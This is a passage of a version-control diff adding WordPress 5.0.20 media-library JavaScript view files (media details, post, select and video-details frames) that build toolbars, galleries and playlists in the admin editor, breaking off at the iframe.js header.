+			wp.media.frames.edit = wp.media( {
+				frame:       'edit-attachments',
+				controller:  this,
+				library:     this.state().get('library'),
+				model:       model
+			} );
+		}
+	},
+
+	/**
+	 * Create an attachments browser view within the content region.
+	 *
+	 * @param {Object} contentRegion Basic object with a `view` property, which
+	 *                               should be set with the proper region view.
+	 * @this wp.media.controller.Region
+	 */
+	browseContent: function( contentRegion ) {
+		var state = this.state();
+
+		// Browse our library of attachments.
+		this.browserView = contentRegion.view = new wp.media.view.AttachmentsBrowser({
+			controller: this,
+			collection: state.get('library'),
+			selection:  state.get('selection'),
+			model:      state,
+			sortable:   state.get('sortable'),
+			search:     state.get('searchable'),
+			filters:    state.get('filterable'),
+			date:       state.get('date'),
+			display:    state.get('displaySettings'),
+			dragInfo:   state.get('dragInfo'),
+			sidebar:    'errors',
+
+			suggestedWidth:  state.get('suggestedWidth'),
+			suggestedHeight: state.get('suggestedHeight'),
+
+			AttachmentView: state.get('AttachmentView'),
+
+			scrollElement: document
+		});
+		this.browserView.on( 'ready', _.bind( this.bindDeferred, this ) );
+
+		this.errors = wp.Uploader.errors;
+		this.errors.on( 'add remove reset', this.sidebarVisibility, this );
+	},
+
+	sidebarVisibility: function() {
+		this.browserView.$( '.media-sidebar' ).toggle( !! this.errors.length );
+	},
+
+	bindDeferred: function() {
+		if ( ! this.browserView.dfd ) {
+			return;
+		}
+		this.browserView.dfd.done( _.bind( this.startHistory, this ) );
+	},
+
+	startHistory: function() {
+		// Verify pushState support and activate
+		if ( window.history && window.history.pushState ) {
+			if ( Backbone.History.started ) {
+				Backbone.history.stop();
+			}
+			Backbone.history.start( {
+				root: window._wpMediaGridSettings.adminUrl,
+				pushState: true
+			} );
+		}
+	}
+});
+
+module.exports = Manage;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame/media-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame/media-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame/media-details.js	(revision 56912)
@@ -0,0 +1,130 @@
+var Select = wp.media.view.MediaFrame.Select,
+	l10n = wp.media.view.l10n,
+	MediaDetails;
+
+/**
+ * wp.media.view.MediaFrame.MediaDetails
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+MediaDetails = Select.extend(/** @lends wp.media.view.MediaFrame.MediaDetails.prototype */{
+	defaults: {
+		id:      'media',
+		url:     '',
+		menu:    'media-details',
+		content: 'media-details',
+		toolbar: 'media-details',
+		type:    'link',
+		priority: 120
+	},
+
+	initialize: function( options ) {
+		this.DetailsView = options.DetailsView;
+		this.cancelText = options.cancelText;
+		this.addText = options.addText;
+
+		this.media = new wp.media.model.PostMedia( options.metadata );
+		this.options.selection = new wp.media.model.Selection( this.media.attachment, { multiple: false } );
+		Select.prototype.initialize.apply( this, arguments );
+	},
+
+	bindHandlers: function() {
+		var menu = this.defaults.menu;
+
+		Select.prototype.bindHandlers.apply( this, arguments );
+
+		this.on( 'menu:create:' + menu, this.createMenu, this );
+		this.on( 'content:render:' + menu, this.renderDetailsContent, this );
+		this.on( 'menu:render:' + menu, this.renderMenu, this );
+		this.on( 'toolbar:render:' + menu, this.renderDetailsToolbar, this );
+	},
+
+	renderDetailsContent: function() {
+		var view = new this.DetailsView({
+			controller: this,
+			model: this.state().media,
+			attachment: this.state().media.attachment
+		}).render();
+
+		this.content.set( view );
+	},
+
+	renderMenu: function( view ) {
+		var lastState = this.lastState(),
+			previous = lastState && lastState.id,
+			frame = this;
+
+		view.set({
+			cancel: {
+				text:     this.cancelText,
+				priority: 20,
+				click:    function() {
+					if ( previous ) {
+						frame.setState( previous );
+					} else {
+						frame.close();
+					}
+				}
+			},
+			separateCancel: new wp.media.View({
+				className: 'separator',
+				priority: 40
+			})
+		});
+
+	},
+
+	setPrimaryButton: function(text, handler) {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				button: {
+					style:    'primary',
+					text:     text,
+					priority: 80,
+					click:    function() {
+						var controller = this.controller;
+						handler.call( this, controller, controller.state() );
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	renderDetailsToolbar: function() {
+		this.setPrimaryButton( l10n.update, function( controller, state ) {
+			controller.close();
+			state.trigger( 'update', controller.media.toJSON() );
+		} );
+	},
+
+	renderReplaceToolbar: function() {
+		this.setPrimaryButton( l10n.replace, function( controller, state ) {
+			var attachment = state.get( 'selection' ).single();
+			controller.media.changeAttachment( attachment );
+			state.trigger( 'replace', controller.media.toJSON() );
+		} );
+	},
+
+	renderAddSourceToolbar: function() {
+		this.setPrimaryButton( this.addText, function( controller, state ) {
+			var attachment = state.get( 'selection' ).single();
+			controller.media.setSource( attachment );
+			state.trigger( 'add-source', controller.media.toJSON() );
+		} );
+	}
+});
+
+module.exports = MediaDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame/post.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame/post.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame/post.js	(revision 56912)
@@ -0,0 +1,736 @@
+var Select = wp.media.view.MediaFrame.Select,
+	Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	Post;
+
+/**
+ * wp.media.view.MediaFrame.Post
+ *
+ * The frame for manipulating media on the Edit Post page.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+Post = Select.extend(/** @lends wp.media.view.MediaFrame.Post.prototype */{
+	initialize: function() {
+		this.counts = {
+			audio: {
+				count: wp.media.view.settings.attachmentCounts.audio,
+				state: 'playlist'
+			},
+			video: {
+				count: wp.media.view.settings.attachmentCounts.video,
+				state: 'video-playlist'
+			}
+		};
+
+		_.defaults( this.options, {
+			multiple:  true,
+			editing:   false,
+			state:    'insert',
+			metadata:  {}
+		});
+
+		// Call 'initialize' directly on the parent class.
+		Select.prototype.initialize.apply( this, arguments );
+		this.createIframeStates();
+
+	},
+
+	/**
+	 * Create the default states.
+	 */
+	createStates: function() {
+		var options = this.options;
+
+		this.states.add([
+			// Main states.
+			new Library({
+				id:         'insert',
+				title:      l10n.insertMediaTitle,
+				priority:   20,
+				toolbar:    'main-insert',
+				filterable: 'all',
+				library:    wp.media.query( options.library ),
+				multiple:   options.multiple ? 'reset' : false,
+				editable:   true,
+
+				// If the user isn't allowed to edit fields,
+				// can they still edit it locally?
+				allowLocalEdits: true,
+
+				// Show the attachment display settings.
+				displaySettings: true,
+				// Update user settings when users adjust the
+				// attachment display settings.
+				displayUserSettings: true
+			}),
+
+			new Library({
+				id:         'gallery',
+				title:      l10n.createGalleryTitle,
+				priority:   40,
+				toolbar:    'main-gallery',
+				filterable: 'uploaded',
+				multiple:   'add',
+				editable:   false,
+
+				library:  wp.media.query( _.defaults({
+					type: 'image'
+				}, options.library ) )
+			}),
+
+			// Embed states.
+			new wp.media.controller.Embed( { metadata: options.metadata } ),
+
+			new wp.media.controller.EditImage( { model: options.editImage } ),
+
+			// Gallery states.
+			new wp.media.controller.GalleryEdit({
+				library: options.selection,
+				editing: options.editing,
+				menu:    'gallery'
+			}),
+
+			new wp.media.controller.GalleryAdd(),
+
+			new Library({
+				id:         'playlist',
+				title:      l10n.createPlaylistTitle,
+				priority:   60,
+				toolbar:    'main-playlist',
+				filterable: 'uploaded',
+				multiple:   'add',
+				editable:   false,
+
+				library:  wp.media.query( _.defaults({
+					type: 'audio'
+				}, options.library ) )
+			}),
+
+			// Playlist states.
+			new wp.media.controller.CollectionEdit({
+				type: 'audio',
+				collectionType: 'playlist',
+				title:          l10n.editPlaylistTitle,
+				SettingsView:   wp.media.view.Settings.Playlist,
+				library:        options.selection,
+				editing:        options.editing,
+				menu:           'playlist',
+				dragInfoText:   l10n.playlistDragInfo,
+				dragInfo:       false
+			}),
+
+			new wp.media.controller.CollectionAdd({
+				type: 'audio',
+				collectionType: 'playlist',
+				title: l10n.addToPlaylistTitle
+			}),
+
+			new Library({
+				id:         'video-playlist',
+				title:      l10n.createVideoPlaylistTitle,
+				priority:   60,
+				toolbar:    'main-video-playlist',
+				filterable: 'uploaded',
+				multiple:   'add',
+				editable:   false,
+
+				library:  wp.media.query( _.defaults({
+					type: 'video'
+				}, options.library ) )
+			}),
+
+			new wp.media.controller.CollectionEdit({
+				type: 'video',
+				collectionType: 'playlist',
+				title:          l10n.editVideoPlaylistTitle,
+				SettingsView:   wp.media.view.Settings.Playlist,
+				library:        options.selection,
+				editing:        options.editing,
+				menu:           'video-playlist',
+				dragInfoText:   l10n.videoPlaylistDragInfo,
+				dragInfo:       false
+			}),
+
+			new wp.media.controller.CollectionAdd({
+				type: 'video',
+				collectionType: 'playlist',
+				title: l10n.addToVideoPlaylistTitle
+			})
+		]);
+
+		if ( wp.media.view.settings.post.featuredImageId ) {
+			this.states.add( new wp.media.controller.FeaturedImage() );
+		}
+	},
+
+	bindHandlers: function() {
+		var handlers, checkCounts;
+
+		Select.prototype.bindHandlers.apply( this, arguments );
+
+		this.on( 'activate', this.activate, this );
+
+		// Only bother checking media type counts if one of the counts is zero
+		checkCounts = _.find( this.counts, function( type ) {
+			return type.count === 0;
+		} );
+
+		if ( typeof checkCounts !== 'undefined' ) {
+			this.listenTo( wp.media.model.Attachments.all, 'change:type', this.mediaTypeCounts );
+		}
+
+		this.on( 'menu:create:gallery', this.createMenu, this );
+		this.on( 'menu:create:playlist', this.createMenu, this );
+		this.on( 'menu:create:video-playlist', this.createMenu, this );
+		this.on( 'toolbar:create:main-insert', this.createToolbar, this );
+		this.on( 'toolbar:create:main-gallery', this.createToolbar, this );
+		this.on( 'toolbar:create:main-playlist', this.createToolbar, this );
+		this.on( 'toolbar:create:main-video-playlist', this.createToolbar, this );
+		this.on( 'toolbar:create:featured-image', this.featuredImageToolbar, this );
+		this.on( 'toolbar:create:main-embed', this.mainEmbedToolbar, this );
+
+		handlers = {
+			menu: {
+				'default': 'mainMenu',
+				'gallery': 'galleryMenu',
+				'playlist': 'playlistMenu',
+				'video-playlist': 'videoPlaylistMenu'
+			},
+
+			content: {
+				'embed':          'embedContent',
+				'edit-image':     'editImageContent',
+				'edit-selection': 'editSelectionContent'
+			},
+
+			toolbar: {
+				'main-insert':      'mainInsertToolbar',
+				'main-gallery':     'mainGalleryToolbar',
+				'gallery-edit':     'galleryEditToolbar',
+				'gallery-add':      'galleryAddToolbar',
+				'main-playlist':	'mainPlaylistToolbar',
+				'playlist-edit':	'playlistEditToolbar',
+				'playlist-add':		'playlistAddToolbar',
+				'main-video-playlist': 'mainVideoPlaylistToolbar',
+				'video-playlist-edit': 'videoPlaylistEditToolbar',
+				'video-playlist-add': 'videoPlaylistAddToolbar'
+			}
+		};
+
+		_.each( handlers, function( regionHandlers, region ) {
+			_.each( regionHandlers, function( callback, handler ) {
+				this.on( region + ':render:' + handler, this[ callback ], this );
+			}, this );
+		}, this );
+	},
+
+	activate: function() {
+		// Hide menu items for states tied to particular media types if there are no items
+		_.each( this.counts, function( type ) {
+			if ( type.count < 1 ) {
+				this.menuItemVisibility( type.state, 'hide' );
+			}
+		}, this );
+	},
+
+	mediaTypeCounts: function( model, attr ) {
+		if ( typeof this.counts[ attr ] !== 'undefined' && this.counts[ attr ].count < 1 ) {
+			this.counts[ attr ].count++;
+			this.menuItemVisibility( this.counts[ attr ].state, 'show' );
+		}
+	},
+
+	// Menus
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	mainMenu: function( view ) {
+		view.set({
+			'library-separator': new wp.media.View({
+				className: 'separator',
+				priority: 100
+			})
+		});
+	},
+
+	menuItemVisibility: function( state, visibility ) {
+		var menu = this.menu.get();
+		if ( visibility === 'hide' ) {
+			menu.hide( state );
+		} else if ( visibility === 'show' ) {
+			menu.show( state );
+		}
+	},
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	galleryMenu: function( view ) {
+		var lastState = this.lastState(),
+			previous = lastState && lastState.id,
+			frame = this;
+
+		view.set({
+			cancel: {
+				text:     l10n.cancelGalleryTitle,
+				priority: 20,
+				click:    function() {
+					if ( previous ) {
+						frame.setState( previous );
+					} else {
+						frame.close();
+					}
+
+					// Keep focus inside media modal
+					// after canceling a gallery
+					this.controller.modal.focusManager.focus();
+				}
+			},
+			separateCancel: new wp.media.View({
+				className: 'separator',
+				priority: 40
+			})
+		});
+	},
+
+	playlistMenu: function( view ) {
+		var lastState = this.lastState(),
+			previous = lastState && lastState.id,
+			frame = this;
+
+		view.set({
+			cancel: {
+				text:     l10n.cancelPlaylistTitle,
+				priority: 20,
+				click:    function() {
+					if ( previous ) {
+						frame.setState( previous );
+					} else {
+						frame.close();
+					}
+				}
+			},
+			separateCancel: new wp.media.View({
+				className: 'separator',
+				priority: 40
+			})
+		});
+	},
+
+	videoPlaylistMenu: function( view ) {
+		var lastState = this.lastState(),
+			previous = lastState && lastState.id,
+			frame = this;
+
+		view.set({
+			cancel: {
+				text:     l10n.cancelVideoPlaylistTitle,
+				priority: 20,
+				click:    function() {
+					if ( previous ) {
+						frame.setState( previous );
+					} else {
+						frame.close();
+					}
+				}
+			},
+			separateCancel: new wp.media.View({
+				className: 'separator',
+				priority: 40
+			})
+		});
+	},
+
+	// Content
+	embedContent: function() {
+		var view = new wp.media.view.Embed({
+			controller: this,
+			model:      this.state()
+		}).render();
+
+		this.content.set( view );
+
+		if ( ! wp.media.isTouchDevice ) {
+			view.url.focus();
+		}
+	},
+
+	editSelectionContent: function() {
+		var state = this.state(),
+			selection = state.get('selection'),
+			view;
+
+		view = new wp.media.view.AttachmentsBrowser({
+			controller: this,
+			collection: selection,
+			selection:  selection,
+			model:      state,
+			sortable:   true,
+			search:     false,
+			date:       false,
+			dragInfo:   true,
+
+			AttachmentView: wp.media.view.Attachments.EditSelection
+		}).render();
+
+		view.toolbar.set( 'backToLibrary', {
+			text:     l10n.returnToLibrary,
+			priority: -100,
+
+			click: function() {
+				this.controller.content.mode('browse');
+			}
+		});
+
+		// Browse our library of attachments.
+		this.content.set( view );
+
+		// Trigger the controller to set focus
+		this.trigger( 'edit:selection', this );
+	},
+
+	editImageContent: function() {
+		var image = this.state().get('image'),
+			view = new wp.media.view.EditImage( { model: image, controller: this } ).render();
+
+		this.content.set( view );
+
+		// after creating the wrapper view, load the actual editor via an ajax call
+		view.loadEditor();
+
+	},
+
+	// Toolbars
+
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	selectionStatusToolbar: function( view ) {
+		var editable = this.state().get('editable');
+
+		view.set( 'selection', new wp.media.view.Selection({
+			controller: this,
+			collection: this.state().get('selection'),
+			priority:   -40,
+
+			// If the selection is editable, pass the callback to
+			// switch the content mode.
+			editable: editable && function() {
+				this.controller.content.mode('edit-selection');
+			}
+		}).render() );
+	},
+
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	mainInsertToolbar: function( view ) {
+		var controller = this;
+
+		this.selectionStatusToolbar( view );
+
+		view.set( 'insert', {
+			style:    'primary',
+			priority: 80,
+			text:     l10n.insertIntoPost,
+			requires: { selection: true },
+
+			/**
+			 * @callback
+			 * @fires wp.media.controller.State#insert
+			 */
+			click: function() {
+				var state = controller.state(),
+					selection = state.get('selection');
+
+				controller.close();
+				state.trigger( 'insert', selection ).reset();
+			}
+		});
+	},
+
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	mainGalleryToolbar: function( view ) {
+		var controller = this;
+
+		this.selectionStatusToolbar( view );
+
+		view.set( 'gallery', {
+			style:    'primary',
+			text:     l10n.createNewGallery,
+			priority: 60,
+			requires: { selection: true },
+
+			click: function() {
+				var selection = controller.state().get('selection'),
+					edit = controller.state('gallery-edit'),
+					models = selection.where({ type: 'image' });
+
+				edit.set( 'library', new wp.media.model.Selection( models, {
+					props:    selection.props.toJSON(),
+					multiple: true
+				}) );
+
+				this.controller.setState('gallery-edit');
+
+				// Keep focus inside media modal
+				// after jumping to gallery view
+				this.controller.modal.focusManager.focus();
+			}
+		});
+	},
+
+	mainPlaylistToolbar: function( view ) {
+		var controller = this;
+
+		this.selectionStatusToolbar( view );
+
+		view.set( 'playlist', {
+			style:    'primary',
+			text:     l10n.createNewPlaylist,
+			priority: 100,
+			requires: { selection: true },
+
+			click: function() {
+				var selection = controller.state().get('selection'),
+					edit = controller.state('playlist-edit'),
+					models = selection.where({ type: 'audio' });
+
+				edit.set( 'library', new wp.media.model.Selection( models, {
+					props:    selection.props.toJSON(),
+					multiple: true
+				}) );
+
+				this.controller.setState('playlist-edit');
+
+				// Keep focus inside media modal
+				// after jumping to playlist view
+				this.controller.modal.focusManager.focus();
+			}
+		});
+	},
+
+	mainVideoPlaylistToolbar: function( view ) {
+		var controller = this;
+
+		this.selectionStatusToolbar( view );
+
+		view.set( 'video-playlist', {
+			style:    'primary',
+			text:     l10n.createNewVideoPlaylist,
+			priority: 100,
+			requires: { selection: true },
+
+			click: function() {
+				var selection = controller.state().get('selection'),
+					edit = controller.state('video-playlist-edit'),
+					models = selection.where({ type: 'video' });
+
+				edit.set( 'library', new wp.media.model.Selection( models, {
+					props:    selection.props.toJSON(),
+					multiple: true
+				}) );
+
+				this.controller.setState('video-playlist-edit');
+
+				// Keep focus inside media modal
+				// after jumping to video playlist view
+				this.controller.modal.focusManager.focus();
+			}
+		});
+	},
+
+	featuredImageToolbar: function( toolbar ) {
+		this.createSelectToolbar( toolbar, {
+			text:  l10n.setFeaturedImage,
+			state: this.options.state
+		});
+	},
+
+	mainEmbedToolbar: function( toolbar ) {
+		toolbar.view = new wp.media.view.Toolbar.Embed({
+			controller: this
+		});
+	},
+
+	galleryEditToolbar: function() {
+		var editing = this.state().get('editing');
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     editing ? l10n.updateGallery : l10n.insertGallery,
+					priority: 80,
+					requires: { library: true },
+
+					/**
+					 * @fires wp.media.controller.State#update
+					 */
+					click: function() {
+						var controller = this.controller,
+							state = controller.state();
+
+						controller.close();
+						state.trigger( 'update', state.get('library') );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	galleryAddToolbar: function() {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     l10n.addToGallery,
+					priority: 80,
+					requires: { selection: true },
+
+					/**
+					 * @fires wp.media.controller.State#reset
+					 */
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							edit = controller.state('gallery-edit');
+
+						edit.get('library').add( state.get('selection').models );
+						state.trigger('reset');
+						controller.setState('gallery-edit');
+					}
+				}
+			}
+		}) );
+	},
+
+	playlistEditToolbar: function() {
+		var editing = this.state().get('editing');
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     editing ? l10n.updatePlaylist : l10n.insertPlaylist,
+					priority: 80,
+					requires: { library: true },
+
+					/**
+					 * @fires wp.media.controller.State#update
+					 */
+					click: function() {
+						var controller = this.controller,
+							state = controller.state();
+
+						controller.close();
+						state.trigger( 'update', state.get('library') );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	playlistAddToolbar: function() {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     l10n.addToPlaylist,
+					priority: 80,
+					requires: { selection: true },
+
+					/**
+					 * @fires wp.media.controller.State#reset
+					 */
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							edit = controller.state('playlist-edit');
+
+						edit.get('library').add( state.get('selection').models );
+						state.trigger('reset');
+						controller.setState('playlist-edit');
+					}
+				}
+			}
+		}) );
+	},
+
+	videoPlaylistEditToolbar: function() {
+		var editing = this.state().get('editing');
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     editing ? l10n.updateVideoPlaylist : l10n.insertVideoPlaylist,
+					priority: 140,
+					requires: { library: true },
+
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							library = state.get('library');
+
+						library.type = 'video';
+
+						controller.close();
+						state.trigger( 'update', library );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	videoPlaylistAddToolbar: function() {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     l10n.addToVideoPlaylist,
+					priority: 140,
+					requires: { selection: true },
+
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							edit = controller.state('video-playlist-edit');
+
+						edit.get('library').add( state.get('selection').models );
+						state.trigger('reset');
+						controller.setState('video-playlist-edit');
+					}
+				}
+			}
+		}) );
+	}
+});
+
+module.exports = Post;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame/select.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame/select.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame/select.js	(revision 56912)
@@ -0,0 +1,170 @@
+var MediaFrame = wp.media.view.MediaFrame,
+	l10n = wp.media.view.l10n,
+	Select;
+
+/**
+ * wp.media.view.MediaFrame.Select
+ *
+ * A frame for selecting an item or items from the media library.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+Select = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Select.prototype */{
+	initialize: function() {
+		// Call 'initialize' directly on the parent class.
+		MediaFrame.prototype.initialize.apply( this, arguments );
+
+		_.defaults( this.options, {
+			selection: [],
+			library:   {},
+			multiple:  false,
+			state:    'library'
+		});
+
+		this.createSelection();
+		this.createStates();
+		this.bindHandlers();
+	},
+
+	/**
+	 * Attach a selection collection to the frame.
+	 *
+	 * A selection is a collection of attachments used for a specific purpose
+	 * by a media frame. e.g. Selecting an attachment (or many) to insert into
+	 * post content.
+	 *
+	 * @see media.model.Selection
+	 */
+	createSelection: function() {
+		var selection = this.options.selection;
+
+		if ( ! (selection instanceof wp.media.model.Selection) ) {
+			this.options.selection = new wp.media.model.Selection( selection, {
+				multiple: this.options.multiple
+			});
+		}
+
+		this._selection = {
+			attachments: new wp.media.model.Attachments(),
+			difference: []
+		};
+	},
+
+	/**
+	 * Create the default states on the frame.
+	 */
+	createStates: function() {
+		var options = this.options;
+
+		if ( this.options.states ) {
+			return;
+		}
+
+		// Add the default states.
+		this.states.add([
+			// Main states.
+			new wp.media.controller.Library({
+				library:   wp.media.query( options.library ),
+				multiple:  options.multiple,
+				title:     options.title,
+				priority:  20
+			})
+		]);
+	},
+
+	/**
+	 * Bind region mode event callbacks.
+	 *
+	 * @see media.controller.Region.render
+	 */
+	bindHandlers: function() {
+		this.on( 'router:create:browse', this.createRouter, this );
+		this.on( 'router:render:browse', this.browseRouter, this );
+		this.on( 'content:create:browse', this.browseContent, this );
+		this.on( 'content:render:upload', this.uploadContent, this );
+		this.on( 'toolbar:create:select', this.createSelectToolbar, this );
+	},
+
+	/**
+	 * Render callback for the router region in the `browse` mode.
+	 *
+	 * @param {wp.media.view.Router} routerView
+	 */
+	browseRouter: function( routerView ) {
+		routerView.set({
+			upload: {
+				text:     l10n.uploadFilesTitle,
+				priority: 20
+			},
+			browse: {
+				text:     l10n.mediaLibraryTitle,
+				priority: 40
+			}
+		});
+	},
+
+	/**
+	 * Render callback for the content region in the `browse` mode.
+	 *
+	 * @param {wp.media.controller.Region} contentRegion
+	 */
+	browseContent: function( contentRegion ) {
+		var state = this.state();
+
+		this.$el.removeClass('hide-toolbar');
+
+		// Browse our library of attachments.
+		contentRegion.view = new wp.media.view.AttachmentsBrowser({
+			controller: this,
+			collection: state.get('library'),
+			selection:  state.get('selection'),
+			model:      state,
+			sortable:   state.get('sortable'),
+			search:     state.get('searchable'),
+			filters:    state.get('filterable'),
+			date:       state.get('date'),
+			display:    state.has('display') ? state.get('display') : state.get('displaySettings'),
+			dragInfo:   state.get('dragInfo'),
+
+			idealColumnWidth: state.get('idealColumnWidth'),
+			suggestedWidth:   state.get('suggestedWidth'),
+			suggestedHeight:  state.get('suggestedHeight'),
+
+			AttachmentView: state.get('AttachmentView')
+		});
+	},
+
+	/**
+	 * Render callback for the content region in the `upload` mode.
+	 */
+	uploadContent: function() {
+		this.$el.removeClass( 'hide-toolbar' );
+		this.content.set( new wp.media.view.UploaderInline({
+			controller: this
+		}) );
+	},
+
+	/**
+	 * Toolbars
+	 *
+	 * @param {Object} toolbar
+	 * @param {Object} [options={}]
+	 * @this wp.media.controller.Region
+	 */
+	createSelectToolbar: function( toolbar, options ) {
+		options = options || this.options.button || {};
+		options.controller = this;
+
+		toolbar.view = new wp.media.view.Toolbar.Select( options );
+	}
+});
+
+module.exports = Select;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame/video-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame/video-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame/video-details.js	(revision 56912)
@@ -0,0 +1,136 @@
+var MediaDetails = wp.media.view.MediaFrame.MediaDetails,
+	MediaLibrary = wp.media.controller.MediaLibrary,
+	l10n = wp.media.view.l10n,
+	VideoDetails;
+
+/**
+ * wp.media.view.MediaFrame.VideoDetails
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.MediaDetails
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+VideoDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.VideoDetails.prototype */{
+	defaults: {
+		id:      'video',
+		url:     '',
+		menu:    'video-details',
+		content: 'video-details',
+		toolbar: 'video-details',
+		type:    'link',
+		title:    l10n.videoDetailsTitle,
+		priority: 120
+	},
+
+	initialize: function( options ) {
+		options.DetailsView = wp.media.view.VideoDetails;
+		options.cancelText = l10n.videoDetailsCancel;
+		options.addText = l10n.videoAddSourceTitle;
+
+		MediaDetails.prototype.initialize.call( this, options );
+	},
+
+	bindHandlers: function() {
+		MediaDetails.prototype.bindHandlers.apply( this, arguments );
+
+		this.on( 'toolbar:render:replace-video', this.renderReplaceToolbar, this );
+		this.on( 'toolbar:render:add-video-source', this.renderAddSourceToolbar, this );
+		this.on( 'toolbar:render:select-poster-image', this.renderSelectPosterImageToolbar, this );
+		this.on( 'toolbar:render:add-track', this.renderAddTrackToolbar, this );
+	},
+
+	createStates: function() {
+		this.states.add([
+			new wp.media.controller.VideoDetails({
+				media: this.media
+			}),
+
+			new MediaLibrary( {
+				type: 'video',
+				id: 'replace-video',
+				title: l10n.videoReplaceTitle,
+				toolbar: 'replace-video',
+				media: this.media,
+				menu: 'video-details'
+			} ),
+
+			new MediaLibrary( {
+				type: 'video',
+				id: 'add-video-source',
+				title: l10n.videoAddSourceTitle,
+				toolbar: 'add-video-source',
+				media: this.media,
+				menu: false
+			} ),
+
+			new MediaLibrary( {
+				type: 'image',
+				id: 'select-poster-image',
+				title: l10n.videoSelectPosterImageTitle,
+				toolbar: 'select-poster-image',
+				media: this.media,
+				menu: 'video-details'
+			} ),
+
+			new MediaLibrary( {
+				type: 'text',
+				id: 'add-track',
+				title: l10n.videoAddTrackTitle,
+				toolbar: 'add-track',
+				media: this.media,
+				menu: 'video-details'
+			} )
+		]);
+	},
+
+	renderSelectPosterImageToolbar: function() {
+		this.setPrimaryButton( l10n.videoSelectPosterImageTitle, function( controller, state ) {
+			var urls = [], attachment = state.get( 'selection' ).single();
+
+			controller.media.set( 'poster', attachment.get( 'url' ) );
+			state.trigger( 'set-poster-image', controller.media.toJSON() );
+
+			_.each( wp.media.view.settings.embedExts, function (ext) {
+				if ( controller.media.get( ext ) ) {
+					urls.push( controller.media.get( ext ) );
+				}
+			} );
+
+			wp.ajax.send( 'set-attachment-thumbnail', {
+				data : {
+					_ajax_nonce: wp.media.view.settings.nonce.setAttachmentThumbnail,
+					urls: urls,
+					thumbnail_id: attachment.get( 'id' )
+				}
+			} );
+		} );
+	},
+
+	renderAddTrackToolbar: function() {
+		this.setPrimaryButton( l10n.videoAddTrackTitle, function( controller, state ) {
+			var attachment = state.get( 'selection' ).single(),
+				content = controller.media.get( 'content' );
+
+			if ( -1 === content.indexOf( attachment.get( 'url' ) ) ) {
+				content += [
+					'<track srclang="en" label="English" kind="subtitles" src="',
+					attachment.get( 'url' ),
+					'" />'
+				].join('');
+
+				controller.media.set( 'content', content );
+			}
+			state.trigger( 'add-track', controller.media.toJSON() );
+		} );
+	}
+});
+
+module.exports = VideoDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/views/iframe.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/iframe.js	(revision 56912)
